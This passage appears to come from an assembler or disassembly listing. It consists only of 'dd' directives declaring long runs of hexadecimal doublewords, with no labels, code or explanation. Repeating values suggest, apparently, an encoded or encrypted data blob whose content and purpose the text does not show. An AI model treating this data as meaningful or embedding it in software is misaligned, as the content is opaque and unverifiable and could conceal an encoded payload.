6CE8E7ADh, 0A55482A5h dd 0C54F00B2h, 0A7148E4Ah, 3EBE9700h, 0DA71C8ADh, 0FAE8FD48h dd 0FC50184Ch, 0C54F01D6h, 3A8F0146h, 5946CA6Fh, 34D7144Ch dd 0C18C0426h, 0EB06207Ah, 0A23131FFh, 0E26AD2B9h, 0C54FF83Ah dd 0C51C8821h, 24990021h, 0FBF8FA3Ah, 0D2574BA0h, 0A5BDDA01h dd 0A9933AD1h, 0C40E6578h, 0E273CCCDh, 0C54ADEA5h, 9AE62D21h dd 984F001Eh, 91EC071Ah, 73EC0506h, 63F9DAFEh, 0E8C3537Dh dd 48F9DA06h, 0AB718389h, 41CC713Dh, 91ACDB74h, 0C520A2CFh dd 0C93E0021h, 0D14F0021h, 0ADBF5E39h, 44CF2521h, 0FA16FEA3h dd 0A54F01C6h, 6DEC07B7h, 723E8201h, 0E03DFA1Fh, 0B94F0021h dd 8E1FABD6h, 1B89A6B9h, 933B4C9Fh, 0C64F0026h, 0D0980376h dd 0BBD6C23Dh, 92A0A21Eh, 12C11E4Ch, 71401E88h, 30A2DD1Fh dd 0A7FE9DA1h, 766AE033h, 0C54F2E86h, 0C1752B21h, 6E9766A6h dd 6C237CCh, 0D3BD0A42h, 0D1F3533Bh, 1C91DFB6h, 32A2F467h dd 0C5203BABh, 0E041D4B8h, 74F0021h, 0DB3B296Dh, 1CFA84BBh dd 9ACF2DACh, 984F001Eh, 0C3A46733h, 0C9CB7A06h, 0EF77DB20h dd 0C54F0028h, 0C557A2CEh, 78A30021h, 0C54F2289h, 0EF8FAE21h dd 76335F5Eh, 0A8339DB6h, 0C550307Bh, 5BD0921h, 0E6B16AE4h dd 79EDBA31h, 0E7B67A04h, 7429DCFDh, 0C54AD889h, 0DDD7AA21h dd 0D7A5A88Ch, 2B6775C5h, 81D98CE6h, 0E824458Fh, 0E913864h dd 0C54EFDB8h, 6470E021h, 0E207147Dh, 0C54F273Ah, 5BDA0221h dd 89F600FBh, 83D0AB30h, 0C54EFB24h, 0C8DA2D21h, 0E24F0021h dd 0C54EFA33h, 0C4AD3721h, 0DC10D8Eh, 933CA496h, 3298A5AFh dd 0B4CE855Fh, 0D070D99h, 527BA496h, 0BA72A083h, 0D9321B4Dh dd 7619152Dh, 0F3FAB962h, 91F2C6B1h, 0D1BA48Ch, 0ED2E3676h dd 0C5D88677h, 2B916BA0h dd 4072B78Bh, 321BA495h, 52231FDh, 14C2A2FFh, 0EDC2724h dd 0B7FBA496h, 5D9DB7E4h, 0A21BA48Dh, 1F94A3F8h, 0AC5BCAFAh dd 472C568Ah, 437C21A7h, 0AD870247h, 1F88A65Ch, 4A26214Fh dd 9593214Fh, 98BEAD6Bh, 0C6F0653Fh, 625E0157h, 1932153h dd 6BAEE196h, 42B73102h, 9012502h, 3CEDD20Bh, 9AFD0119h dd 1BAAB021h, 85D503C7h, 3E7F2972h, 1BACAA2Fh, 71D4A6C4h dd 1F40A15Ah, 0D67C214Fh, 1F932152h, 1F96B45Ah, 0BA26214Fh dd 3ACC234Bh, 1BEDB031h, 1F932CCFh, 521D344Fh, 5093214Fh dd 1B5B20CFh, 1F9037D3h, 4413564Fh, 95F734A8h, 0FF9320BFh dd 625F7407h, 0D0932153h, 0A60F1A46h, 439337C9h, 8A19D71Ah dd 21CB95CEh, 1F7D8AF8h, 7C9E214Fh, 938B0011h, 75CE3BF2h dd 3B598216h, 44160215h, 0EDF73466h, 449320BFh, 1BFD20CFh dd 1F90B1D3h, 1BF9344Fh, 0B493214Fh, 1F93215Ah, 3252E1A9h dd 0CC27F7EFh, 1F418AC0h, 28A1214Fh, 1BC70605h, 52FF1231h dd 55D8DBEh, 0AFFB14E2h, 1BF020C1h, 1F8F3BD3h, 52FB344Fh dd 4B93214Fh, 1F7F8A2Fh, 8838214Fh, 6F8975FCh, 6FD0EF1h dd 7E7420C1h, 1E91A55Ch, 1B26214Fh, 0FA93214Fh, 9464889Fh dd 3525D6C4h, 0B2EF56B3h, 0B4763B1Ch, 1F932178h, 3794918Bh dd 0DF90E302h, 8B348C2Ch, 0D5BFADFCh, 50F5A121h, 1F9326A8h dd 73BE3F4Fh, 9C74F8D1h, 181334B7h, 1F9193D3h, 2311344Fh dd 0FF93214Fh, 5DEEA3C5h, 50F1A121h, 1B4BD12Fh, 1F963FD7h dd 20EB894Fh, 0B2BB214Fh, 2AEF4191h, 0E2D71F65h, 0B9125212h dd 0B3BEFF97h, 0FCB67C1Ah, 1AA320C0h, 1F9197D3h, 6116014Fh dd 0FC760177h, 0FDFE6F07h, 1F40A25Bh, 2326214Fh, 2193214Fh dd 0A35ED5CCh, 0D674F319h, 0B21D016Ah, 0CD6EF340h, 1F96F2A9h dd 92649C4Fh, 0C21B9ADCh, 9B5D1541h, 432B5164h, 0A0FD182Bh dd 0A37C519Fh, 1F93214Fh, 1F9333A8h, 0C847E64Fh, 0F058C235h dd 0DBB97A1Ch, 9B60D50Eh, 0A37C91B7h, 1F93225Fh, 1F95A95Ah dd 573214Fh, 4A4A8CC1h, 208AA120h, 1C7BA55Ah, 9DCB214Fh dd 0A37C4E0Ah, 1F9321BFh, 1F44A25Ah, 5726214Fh, 6C932140h dd 0EFDA520Dh, 7486280Ah, 0B13CC71h, 81F73428h, 50932140h dd 205DA22Fh, 0B5EC157Ah, 1F932087h, 7CDB5744h, 0D8707524h dd 4BFE3391h, 3D13B23Dh, 0D6715651h, 1F408A6Ah, 0F5FD214Fh dd 0B9A87015h, 9FEC78ACh, 547FDE9h, 3F6F9E99h, 48F5A147h dd 7D1D0B2Fh, 9A7BDA3Dh, 1F932140h, 441D0B20h, 0A37C81C0h dd 1F9319DBh, 0A021B02Fh, 6FE8695h, 9DCE4307h, 57789B3h dd 0D7F0FDF6h, 9C74029Bh, 18D4A2B7h, 1F9613D3h, 1F928A4Fh dd 4605214Fh, 0FB6795BCh, 1F468A20h, 22E2214Fh, 0F1B50B71h dd 8E0140FFh, 2AEE5BBh, 48D2B621h, 3D0987CDh, 76103451h dd 0B4932153h, 1F932151h, 0F492D4B3h, 0F730C312h, 0F19554Dh dd 74AFFFBh, 0E6C61D2Dh, 0B5FE204Ch, 1F93215Dh, 0E758F67Fh dd 19787D0Eh, 1128BF22h, 52D09E3Fh, 525EA65Ah, 9F73214Fh dd 867561A9h, 0D7FED0DAh, 0E644B2F6h, 1F7F8A53h, 0C13D214Fh dd 814C87BCh, 6B81Bh, 1F9333A9h, 869A6B4Fh, 56EBA6BAh dd 8ED8EC2h, 335D5AA3h, 1F96EDB7h, 89E8504Fh, 0A54B0BF4h dd 7B8E5DD9h, 4D6E78FBh, 0AD1776EAh, 0FCAEFA8Fh, 1F932CA9h dd 0F448B24Fh, 72A9D0FAh, 8C4EA706h, 8D732C60h, 7255475Dh dd 0F92DA20h, 62FA3420h, 0B4932153h, 1F93215Dh, 0C5B4F7FCh dd 0EB435BE0h, 67A220D6h, 1F96F2BBh, 40E8E94Fh, 0EBCB431Ah dd 8C574F76h, 0C892B012h, 0A57C2A95h, 1F932140h, 1AAE0318h dd 1F9EBF3Dh, 88D2014Fh, 9793180h, 7E09B021h, 1A93407Dh dd 1F93223Eh, 4C03594Fh, 8C4EA706h, 0A27C2C60h, 1F932086h dd 1F9326A8h, 8153FD4Fh, 0B979ED3h, 52F83470h, 4B93214Fh dd 29FC3527h, 44932140h, 1F96EFA8h, 1F468A4Fh, 2FEF214Fh dd 722730F1h, 0A47A0E9Bh, 645B6C3Bh, 0FAE03476h, 645133A2h dd 8D107DEEh, 64513477h, 645134DFh, 93FC6476h, 36062CC1h dd 1B390D4Ah, 645133E4h, 0BC358D2Ch, 6451347Ah, 0C6BE3A65h dd 0EA82DF7Dh, 1CBB1C72h, 82C6FB1Ch, 2C834778h, 44513476h dd 645146DFh, 637D0D76h, 4E827325h, 0F0DE3A8h, 48D3D007h dd 5EAC9AF7h, 45A9C357h, 92377358h, 41477DF6h, 0E83A92ADh dd 64512CB5h, 645142DFh, 41F19576h, 0BABC5A1Bh, 4B2C3DACh dd 6DD047D0h, 44513476h, 1C936E81h, 0BC341BEAh, 6451347Ah dd 0A9BB336Fh, 5F353156h, 64512CFFh, 0F4D41676h, 73B51532h dd 0E1321382h, 4B0D9DD7h, 95D88DF7h, 8D07BB57h, 99B54776h dd 89513476h, 428C10E5h, 0DCC18EEh, 6D831496h, 65A99D7Ah dd 0F6843476h, 68B81502h, 0CC1D965Ah, 0E538ECFDh, 1F7DF977h dd 0A5CE3A7Bh, 9AD0468Ah, 44513476h, 0C932C547h, 45BB0CF8h dd 8F6A9D57h, 66E43671h, 0F4513476h, 7357E045h, 6402BF81h dd 0B2E43476h, 0D7513479h, 3C08B35Eh, 45CAD979h, 5ECB5945h dd 96513380h, 0DD3A7395h, 645133ADh, 9DB1B556h, 4BC25449h dd 0FABC8D2Dh, 64513840h, 645BC581h, 48943476h, 0B4E3562Dh dd 0BE513479h, 5292AAAFh, 0D131D42Bh, 0CA161B28h, 73BA5ADEh dd 13B5564Ah, 5DE46B82h, 0B513476h, 0BAD2B140h, 0E5FF9494h dd 0E83AA3DDh, 64513440h, 97D245EFh, 95513476h, 0FAE59BF6h dd 6451347Ah, 0A77D86A8h, 42B767B0h, 64513FDFh, 8D2C1676h dd 1942082h, 89D41C72h, 7AB54766h, 44513476h, 644EC581h dd 730C3476h, 0FABB1A28h, 645134E6h, 643CBD81h, 0E13A3476h dd 645133E4h, 65921556h, 25922DDFh, 64513477h, 19892D76h dd 68D047B9h, 44513476h, 0AD5ECB27h, 6B94BB56h, 61E46C56h dd 0F8513476h, 0A8845FA4h, 57FC00B9h, 42AE96B7h, 644EB4DFh dd 5E834776h, 5F513476h, 64513E02h, 62B54776h, 4A513476h dd 5C3A3FB9h, 0C5CC1E56h, 0D1D31E5Eh, 0B0B6149Eh, 60AEB6EAh dd 0D9D12FEBh, 99B947F6h, 44513476h, 0DD8E4F2Fh, 76C51E3Fh dd 6DBC1496h, 644C9D77h, 0B3A43476h, 26E590E3h, 1D44F252h dd 4F1F650Fh, 0A76278B2h, 64513A39h, 0B4E43476h, 0A8513479h dd 1BFB8A12h, 9011BECDh, 86635437h, 7285EBAAh, 0A5B54FE9h dd 644BB981h, 0F9313476h, 6451347Fh, 0F78B0D8Eh, 9DF5D8F7h dd 60BB1556h, 645143F6h, 64539D76h, 0CFD93476h, 3B3B9C2h dd 89537465h, 644F8CDFh, 0C4DB1476h, 88C15F69h, 9AB74756h dd 44513476h, 0D232C549h, 4BBB0391h, 3584F6F7h, 65F5B781h dd 0E2893476h, 0E539C430h, 64512D4Ah, 6400BF81h, 68E43476h dd 0A6513476h, 1FEA0A2Ah, 0E1324F0Ch, 358137F0h, 65ADB781h dd 0B5E43476h, 4F513479h, 0CA334471h, 1507B16Dh, 5C96A4D6h dd 8AD645B6h, 645453DFh, 0A5B66976h, 6BCF4672h, 44513476h dd 416A0DEEh, 644E14DFh, 97CF4776h, 95513476h, 0CE1BBA03h dd 72943E96h, 0F2CC1E56h, 7BBC64CAh, 645400DFh, 0EFB71B76h dd 99A065AAh, 39FA0CD1h, 0AE0A4255h, 675BEF57h, 6BCE47CDh dd 44513476h, 767B6E81h, 0CB508571h, 0C9313E97h, 4328709Fh dd 0FA836C56h, 68E31558h, 81513476h, 1F797431h, 0A4351166h dd 6447B781h, 0E43A3476h, 64513477h, 5C7CC1EEh, 6451472Dh dd 5DE31476h, 0DE513476h, 9678986h, 415866D5h, 0CE1CAA03h dd 0E4313E96h, 0EED4038Ch, 36E31BEBh, 0F9513476h, 6451347Fh dd 0EC090EE7h, 3F65EBF0h dd 64049E48h, 0E3113476h, 596C5F5h, 1844912Ch, 0E1320CC0h dd 8D100B25h, 0E039C957h, 64513382h, 6ADB1E56h, 0E132179Dh dd 4151BBE7h, 61B74756h, 0E4513476h, 0B5E4848Ch, 0B0513479h dd 0B045F521h, 86133241h, 0C79ADBF7h, 416089C4h, 0BFAF8571h dd 0E13A3E97h, 64513477h, 90341872h, 18E2B558h, 0A3D515DEh dd 645BB981h, 95893476h, 0E1320CCFh, 19C87824h, 5F6A1525h dd 6451432Dh, 64539D76h, 128E3476h, 0D15B5CAEh, 978AB165h dd 62B7B881h, 0F9313476h, 6451347Ah, 77E04217h, 42BD86D1h dd 1B321447h, 7E2415BCh, 0D9BEA47h, 0D885810Eh, 0BA2B14F0h dd 0D88DB7C4h, 6536596h, 0DA0EA83h, 8E03810Eh, 96CA48B7h dd 0E37C4C6Fh, 958C774Ch, 9652166Eh, 0DC406FAh, 0F116810Eh dd 0DD3EAB5h, 0B946810Eh, 3D87AAF5h, 9B69BF5Dh, 69B282EBh dd 978A056h, 8C44B50h, 0DCE891Ch, 0EAAB610Eh, 79B4C020h dd 8AAE302Fh, 6FB2569Fh, 0B87C61E6h, 0EDCE810Eh, 0AE8BC34Ch dd 0F3FA3F7Bh, 8D238355h, 8C4B18Bh, 0DCE3283h, 0A329610Eh dd 0F423F355h, 0EADB9056h, 0DCE81A7h, 0E8AB4B0Eh, 0C0A023E7h dd 11449464h, 8ACE810Eh, 0F98F51C4h, 0E4AD6240h, 653660Ah dd 0D9BEA82h, 7F22810Eh, 0DC59CCBh, 0F06C4E45h, 83A5B1B5h dd 0A7B8240h, 4BCE810Eh, 5D17936Eh, 0A1EB133h, 0E562C950h dd 4A437D2Eh, 544563Bh, 0DA1EA2Fh, 457B810Eh, 4FCE810Eh dd 520D950Eh, 949C5379h, 0B281ADFEh, 980E0E97h, 0DCE810Eh dd 0EA5FFDEAh, 62749FC5h, 0C84FC5C7h, 63CD1B58h, 93057E9h dd 0DCE857Ah, 1150940Eh, 8CE810Eh, 0DCE797Bh, 90A6600Eh dd 0DCE810Fh, 0EDEB7B97h, 98BEB8Eh, 1C23C151h, 0DCE93A7h dd 9C396B0Eh, 0E6AF7641h, 5819C3Eh, 0EAE5A307h, 0EA4C8055h dd 0EACB60BDh, 0DA2EB29h, 0C28C810Eh, 0ECAC3505h, 32DBE218h dd 32CE815Ch, 0A2AB5A33h, 0DCE80F0h, 304DFD00h, 0F3A18C9h dd 6C0983Bh, 0D4061C1Bh, 0F4237C92h, 0C5239155h, 0B953599Ah dd 0F3FD9D1Dh, 7119B88Fh, 8EA6612Fh, 0DCE810Ch, 0DCE8EA7h dd 841D330Eh, 0FE7FD397h, 4ADA78ADh, 8AE81F3h, 6623DC51h dd 0DCE810Fh, 0F47C0244h, 8CEA0F5h, 0DCE8178h, 0D26940Eh dd 0EDCE810Eh, 78AD612Fh, 0C4B09461h, 0D42A62C0h, 8D1B7A06h dd 10EABF59h, 0DCE8AA7h, 799990Eh, 0D24A2D2Eh, 0EE232B0Eh dd 0DCDEA2Eh, 9D15810Eh, 0A0BD4E21h, 80596AD2h, 98446331h dd 229D5E2h, 4D0ECA2Fh, 8DAE8102h, 6D43C291h, 15E1AAF2h dd 8CA6162Fh, 0DCE8100h, 5D5A6B2Eh, 672A620Dh, 0DC40CFAh dd 0EB16810Eh, 1ACC988Fh, 8D245FADh, 0EB16B1C2h, 0D28942Eh dd 0C4CE810Eh, 0E8362C6h, 87CE810Eh, 0A20BEF8Fh, 85A58BEFh dd 0DCE8101h, 0DC405F9h, 0A37F810Eh, 0DCE80FAh, 34EA2D0Eh dd 7F1900C8h, 172A744Ch, 97EBB4Eh, 0DCE8C8Eh, 9594610Eh dd 200E1020h, 0B1346C1h, 0EDCE810Eh, 0DCB52A7h, 9C6960Eh dd 0FC9DE904h, 7D4AACC0h, 97C03BA6h, 8EA51EFAh, 0DCE80D4h dd 0DCE86A7h, 0ACDF230Eh, 51249EA1h, 0DCE7D43h, 0F7B810Eh dd 6ACE810Eh, 0ABD154D0h, 0F112C0EDh, 77CA355h, 55CE810Eh dd 4D4206F2h, 0C2393524h, 6B056884h, 0DA5EA2Fh, 2F1E810Eh dd 0E0A0ACA1h, 0FB5D71A1h, 984EBEBDh, 0F4F944Fh, 0F3CE810Eh dd 205044C9h, 7A9407C1h, 0DC38BEEh, 0F7B810Eh, 57CE810Eh dd 4162604Fh, 3244660Ah, 8EA6097Eh, 0DCE810Ch, 0D9F09F9h dd 93A5810Eh, 0DCE8100h, 0DCB0FF9h, 324E810Eh, 1A2A94A6h dd 32CE8102h, 0AB5A614Eh, 0A2A9C62Ah, 0DCE8101h, 0DB74C400h dd 0A323F77Eh, 0DCE810Dh, 0D944B324h, 0A6236C1h, 2E8D67ECh dd 0FE8AB3C5h, 324B9C06h, 562A94A7h, 0A2CE8105h, 0DCE80FAh dd 0D41A4A09h, 0B64CD693h, 27C00B57h, 0CE8D8994h, 0DCE89A7h dd 1D95400Eh, 27F8ACE6h, 3830804Bh, 3DA70DF2h, 0A21900E3h dd 0D8204FAh, 0CB0B810Eh, 0DA309F9h, 8AE810Eh, 0DCE7983h dd 6E4B620Eh, 8AB07C9Eh, 64E94A5h, 0DD1CE82h, 0DA9EA0Eh dd 5019810Eh, 71D13136h, 82D30952h, 144488C1h, 39CE9FFDh dd 67C4397h, 9CE810Eh, 6AF1FFC5h, 0EA732BE4h, 0A84BF20h dd 0EB761020h, 924808Eh, 0DD10082h, 0EAAEB90Eh, 931808Eh dd 0DD26482h, 8BA6610Eh, 0DCE809Ch, 152A5751h, 32446B2Fh dd 91A5E821h, 0DCE8936h, 0DD3E92Eh, 0DA7C810Eh, 198129F6h dd 324EEC85h, 37DD01C1h, 1BEAC4FCh, 3E31012Fh, 0BB19040Ah dd 0D6204F9h, 0F116810Eh, 39ABA355h, 4C96E78Fh, 9243DF2h dd 0DCE9355h, 0D9BEA0Eh, 0B0E810Eh, 86191C5Ch, 8E539651h dd 627BB1BDh, 0FACE8101h, 0BF6D19A4h, 19EC58DAh, 1528BC78h dd 4DBB72DEh, 0A34A9EC8h, 0DCE8107h, 0EF9D1113h, 7F0C1993h dd 656808Eh, 0DC47082h, 0C4AD610Eh, 80556BA8h, 0F94B6284h dd 882A9403h, 0EDCE810Fh, 0DCE8BA6h, 75169F0Eh, 8A6D85BAh dd 8AF99CCDh, 456748AEh, 0F94B619Dh, 0E82A93DBh, 3ECE810Fh dd 903438Eh, 0DC3B482h, 0AE55610Eh, 0EA9FABD6h, 8D15B64Eh dd 10EAF63Fh, 0DC40EF9h, 0F47F810Eh, 0A2ABA355h, 0DCE80FAh dd 4D39C2C7h, 8DC44AFCh, 31E4C97Ah, 0EB8954F7h, 9812EC8Eh dd 0DCE8104h, 8BB7E97Ah, 32446B40h, 91A5E18Fh, 0DCE79A6h dd 592A6593h, 0D9F05F8h, 7BAE810Eh, 449C173Bh, 1C7C5464h dd 6E4B6212h, 7080639Eh, 8AAD624Fh, 60E02A5h, 0DCAC482h dd 751940Eh, 0A2CE810Eh, 0DCE8102h, 0DF62BDF1h, 976329Dh dd 0DCE8C81h, 404F940Eh, 35CE810Eh, 0DA7EA2Eh, 0EEA1810Eh dd 7A7CCFF4h, 51069D96h, 1F62E3FAh, 0D17C012Eh, 98446C30h dd 0EAF96BC7h, 0AC5A6B2Eh, 62596C31h, 0DD1661EEh, 10EABFBCh dd 117C650Ah, 38CE810Eh, 59D8D9BCh, 8ADFBF6h, 0DCE8B82h dd 0B4F940Eh, 0F3CE810Eh, 0EB31A856h, 980F4687h, 0DCE80F8h dd 0E2B6A72Ch, 0C4B9D816h, 88A66896h, 0DCE810Fh, 0DCDF096h dd 170C810Eh, 0CA0BE02Fh, 3A980855h, 1F4F940Fh, 0EDCE8103h dd 0D9AEA2Eh, 431B810Eh, 0B3CE5B80h, 4038F751h, 95256A82h dd 8AAFFF7Bh, 20198691h, 200C612Fh, 6193BF55h, 1B128C04h dd 10510E93h, 32CE99CAh, 3F3B3CD7h, 0D3449536h, 0A2CE8103h dd 0DCE80FBh, 0CF844F9Bh, 4488010Dh, 0D790C5B7h, 2A87BF55h dd 1B0B8C04h, 0BFE9102Eh, 9926EACFh, 8D2A621Bh, 10EAF63Fh dd 0DCE90A7h, 0E2BFF80Eh, 90E0E470h, 98D90036h, 0EE3B3D48h dd 0DCE81A7h, 58E14C0Eh, 7010E7CEh, 0B1E7F9AEh, 88A6192Fh dd 0DCE7D5Dh, 717D012Eh, 0EB6BBBF9h, 6896BF55h, 75AE8BEFh dd 1177C6B8h, 0DD3E23Fh, 0D2DF810Eh, 1C672386h, 351FA7CFh dd 0E17E2B50h, 196CDEF6h, 8D526328h, 10EABF12h, 0E36E9F2h dd 0A0F5810Eh, 0C3AD4E71h, 0E08BD00Dh, 3EF819FDh, 0ADDBB28h dd 0FE1BB46Dh, 5B7C122Eh, 0C5CE8101h, 5C63A104h, 57CC1E08h dd 0C58CF5A5h, 380EFE03h, 114F9537h, 8CE810Eh, 0DCE797Bh dd 0CE1C620Eh, 0DA1E9FEh, 0F8C5810Eh, 0C04ED5ADh, 0E7F1D626h dd 93C40D8Bh, 2151DB3Bh, 0B7AB5144h, 852A6591h, 1051102Fh dd 0EDCE99CAh, 768FB88Fh, 0C5241794h, 387BB0EAh, 0C9CE810Eh dd 5B80782Ah, 0BCB4736Ch, 387C123Fh, 75CE810Eh, 0EAD9CD50h dd 7C235496h, 5F60A1Dh, 0DCE0FF9h, 86A5810Eh, 0DCE810Fh dd 0D2FF096h, 5B7B810Eh, 3ECE8101h, 69CACF82h, 0DC619E5Ah dd 7BEC19F1h, 2DD43445h dd 0D1346C0h, 0EDCE810Eh, 0D57C6897h, 32CE810Eh, 401346C1h dd 0A2CE810Eh, 0DCE80F9h, 0A809186Eh, 9E38D8D3h, 99B9649Bh dd 752A506Eh, 10EABF13h, 8BA6612Eh, 0DCE810Eh, 0EB75C3F9h dd 0BF51082Fh, 61CE9964h, 0A33E09ADh, 0DCE809Ch, 0D4D3AE68h dd 0F1D58EEDh, 0CC70398Fh, 5E8E0ACAh, 0A229421h, 8DCE810Eh dd 964E0192h, 3352619Ch, 0D24F939Dh, 0EDCE810Eh, 7980C3F9h dd 1AAB178Eh, 1050CC2Fh, 3FCE99CAh, 39CE810Eh, 0DCB52A7h dd 33517A0Eh, 3727939Ch, 8CE810Fh, 0DCE828Eh, 0BC517D0Eh dd 91A58396h, 0DCE7978h, 0C1E9102Eh, 83AB62BFh, 738AC2DBh dd 922FEDDh, 0EDC44B50h, 612E0220h, 0E323B6B8h, 0DCE798Eh dd 0DD605F9h, 0EDAE810Eh, 0DCE8CA6h, 31CD450Eh, 48AC17C3h dd 0EAF51829h, 3F8E7D2Fh, 0EDCFE91Dh, 0AAAF5A57h, 0B0536B44h dd 657C62CCh, 0A2CE8101h, 0DCE80F0h, 7DF0A11Bh, 0FC6D9393h dd 1784858Ah, 47B2F5EEh, 0B15AE79h, 8A0B810Eh, 117B86A6h dd 1ECE810Eh, 0ED71DADBh, 197BEECFh, 0A2CE810Eh, 0DCE80D5h dd 991EB4D6h, 0ADA94EDBh, 0EE6138F4h, 962A6B2Eh, 67AD6894h dd 92330CCh, 0DCE8554h, 1129940Eh, 8CE810Eh, 0DCE7979h dd 1AB9100Eh, 3ECE99CAh, 9417D55h, 0DCB9A81h, 77C610Eh dd 9CCE810Eh, 0E26E98FEh, 854EC8E3h, 0F6EAA946h, 535FEF57h dd 8FA6221h, 0DCE827Ah, 9BBB60Eh, 64E810Eh, 0DCB6683h dd 147C610Eh, 9ACE810Eh, 0F1834F25h, 0EB5AF66Ch, 612CA9Dh dd 0DCE818Eh, 0D43940Eh, 0EDCE810Eh, 140B082Fh, 10448693h dd 8CE99CAh, 0DCE901Ch, 0DCCEA0Eh, 517F810Eh, 0E6B6D14Ch dd 0DA4EA46h, 25D7810Eh, 73A36AA3h, 0DC928547h, 288A4877h dd 39A34C87h, 0A8E1096h, 48567A2Eh, 0EAD0EC3Ch, 0DC3DFA7h dd 967DB90Eh, 0C4F65C2Fh, 544A6895h, 0E3A00F9h, 97B810Eh dd 74CE810Eh, 6D9707ABh, 48374AB1h, 0EDD9FF1Dh, 967D013Bh dd 0DCE8598h, 884280Eh, 0C74CAF16h, 94DA9815h, 140B07EBh dd 0DC405F9h, 0A12810Eh, 2B4F121Ch, 9667D00h, 0DCE8554h dd 1151940Eh, 8CE810Eh, 0DCE7987h, 68E0A0Eh, 0DCE90A7h dd 7585F00Eh, 9BF800FEh, 0C68D8ABDh, 359F4C87h, 1FDE102Eh dd 0DC463A7h, 5B25940Eh, 0A2CE8101h, 0DCE80D6h, 4734FEC1h dd 0EFD40280h, 0A2A346D7h, 0DCE8102h, 419A6BCh, 0FCEFE8F6h dd 78AE7ACEh, 0E07D13Fh, 0FA41BA20h, 0B8D0F2Fh, 64E2C0Ah dd 0DCE0283h, 434F940Eh, 8CE810Eh, 0DCE8783h, 0D24610Eh dd 4B51B5C0h, 0DCFE99Ch, 3138810Eh, 74EBDAECh, 0DCE810Fh dd 0DC304F9h, 3312810Eh, 91A5DFD5h, 0DCE80E6h, 0AB90997h dd 8CB5AA7h, 0DCE8C82h, 4051940Eh, 32CE810Eh, 8C3E88Eh dd 0DCE9055h, 0DCCEA0Eh, 5C32810Eh, 0BDD70274h, 0C37FC79Dh dd 0B80B8941h, 8DAE8D41h, 6D438ABEh, 0F1A5C4BCh, 9C7EA2Fh dd 0EE7F810Eh, 6A1AE98Fh, 80A69F5Fh, 967E62A8h, 0DCB4D98h dd 0E86F950Eh, 11D728Dh, 0A02252B3h, 4732B35Bh, 0D5B9A853h dd 0B16A617h, 6212810Eh, 75194C3h, 0A2CE810Eh, 0DCE8102h dd 191C3A15h, 3E10FC23h, 404394B6h, 39CE810Eh, 0E370CF9h dd 97B810Eh, 0E2CE810Eh, 0BD872BABh, 6CE1FA7Bh, 0E68E6A6Ah dd 4B5129F5h, 1483609Ch, 0EACE810Eh, 0BF8551F0h, 6A96C46Bh dd 8F8FF49h, 0C3238051h, 65AE8941h, 0DCE809Ch, 0A82BEAB1h dd 0CC8D5A5Ch, 134E0F3Ch, 9BBD9412h, 775A6B45h, 0B80C6222h dd 67B8D41h, 3CE810Eh, 0C52D738h, 368F8D59h, 0DA812F9h dd 0F3AE810Eh, 0C4D9988Fh, 0DCE00F9h, 0EB23810Eh, 0C4AAD097h dd 0BE98BFBEh, 4D233175h, 0DA90CF9h, 0F7B810Eh, 83CE810Eh dd 8E46498Ah, 40509533h, 35CE810Eh, 86A5E555h, 0DCE80EBh dd 0D9E09F9h, 507B810Eh, 85CE8101h, 0AFDF5B6Bh, 0E865DB2Fh dd 0B5816BCFh, 0EDAB7EC9h, 36E70816h, 6E446B2Eh, 8EA67225h dd 0DCE810Fh, 8AB6893h, 0DCE8254h, 0E867D0Eh, 87CE810Eh dd 3F5FEF8Fh, 0C7B8BEEh, 0CECE810Eh, 0F94DD0E5h, 42D492D9h dd 4D9F5EF1h, 0E269446h, 8CE810Eh, 0DCE8282h, 75297D0Eh dd 10EABEDEh, 0DCE93A7h, 0ABB120Eh, 69019E94h, 42ABED77h dd 0FCC1245Ah, 0F651B5C7h, 242A940Eh, 0A2CE8103h, 0DCE80F0h dd 0AC35C938h, 787E9CAh, 720F68Ch, 411EA67Fh, 0C4AD59CCh dd 0D91301A4h, 0EB39005Ah, 90A58C55h, 0DCE810Fh, 9FF830Ah dd 0E36F10Ah, 0DF1B810Eh, 0D62CABF2h, 0AC7E2C58h, 0CC44A079h dd 515642F1h, 0C4160655h, 0EE5E7A06h, 6623876Dh, 0DCE8A80h dd 0DCE90A7h, 86FD340Eh, 0B12CD433h, 0EDCD4156h, 8EA5C0D5h dd 0DCE813Bh, 0E2C0EF9h, 65AE810Eh, 0DCE80F9h, 7B095941h dd 1EADB76h, 0DF3C9730h, 0F3EB199Bh, 0C523DB55h, 0DCDEA01h dd 7369810Eh, 0ECE27A65h, 0DA1EB3Eh, 6184810Eh, 0A26590DAh dd 458D3CE4h, 644457D2h, 0D6EA234Eh, 0E39EA8Ch, 35AE810Eh dd 5F0E082Fh, 0D9C0FF8h, 0EDAE810Eh, 9D4FF92Fh, 0A322FA0Ah dd 361583E1h, 3A90110Ah, 0DCE85A7h, 78E39C0Eh, 24454AD7h dd 13816CE9h, 0E36EA0Eh, 16BF810Eh, 0EB01F87h, 2B8A2734h dd 54401127h, 457BAA4Fh, 0C416A2DFh, 0C4157CFAh, 0DA1EA06h dd 140D810Eh, 70C8991Fh, 0D99098F7h, 3B54A21Bh, 529F4A88h dd 93D83DFh, 0DCE8C54h, 852A610Eh, 0EB04E68Eh, 0DA61DA6h dd 0DA9EA0Eh, 0BE2F810Eh, 14656834h, 0A80AE868h, 60E8FD7h dd 0DCEB482h, 0DA0EA0Eh, 0C51B810Eh, 8AB79D8Ah, 720997FEh dd 0DAA389AAh, 94EC24DFh, 0DD1F4A7h, 0C1B940Eh, 0A2CE810Eh dd 0DCE8107h, 575B3FAAh, 0F764A22Ah, 980F4655h, 0DCE80F9h dd 0FF7E69C6h, 0A3CDCB8Dh, 0AD35164h, 10CBEC1Ch, 0A5506F9h dd 1CAE810Eh, 0DA7EA45h, 9C4F810Eh, 0BB3EF5B5h, 0D7E338CFh dd 0EB6E1EC4h, 0DCE85A7h, 28C1810Eh, 29AE679Ah, 3D45209Fh dd 3A8F8403h, 12960696h, 0CD2A940Eh, 8CE810Eh, 0DCB5178h dd 0DA1EA0Eh, 649810Eh, 0DC937386h, 78844ACBh, 97F9E045h dd 24D170A0h, 40299453h, 39CE810Eh, 0DA2041Dh, 0DA104F9h dd 0A37F810Eh, 0DCE8113h, 0DCE0CF9h, 8AE810Eh, 8329B251h dd 3615F92Fh, 0C7B8309h, 42CE810Eh, 3B2FE26Ah, 0A5CCB974h dd 3E755905h, 0DCFBA58h, 8BA5810Eh, 0DCE810Ch, 832A6B2Eh dd 0DCE81A7h, 2FE01C0Eh, 3D6559A4h, 0E5826224h, 980E102Eh dd 0DCE80FAh, 0B9E37705h, 0E8066088h, 91A4CA2Fh, 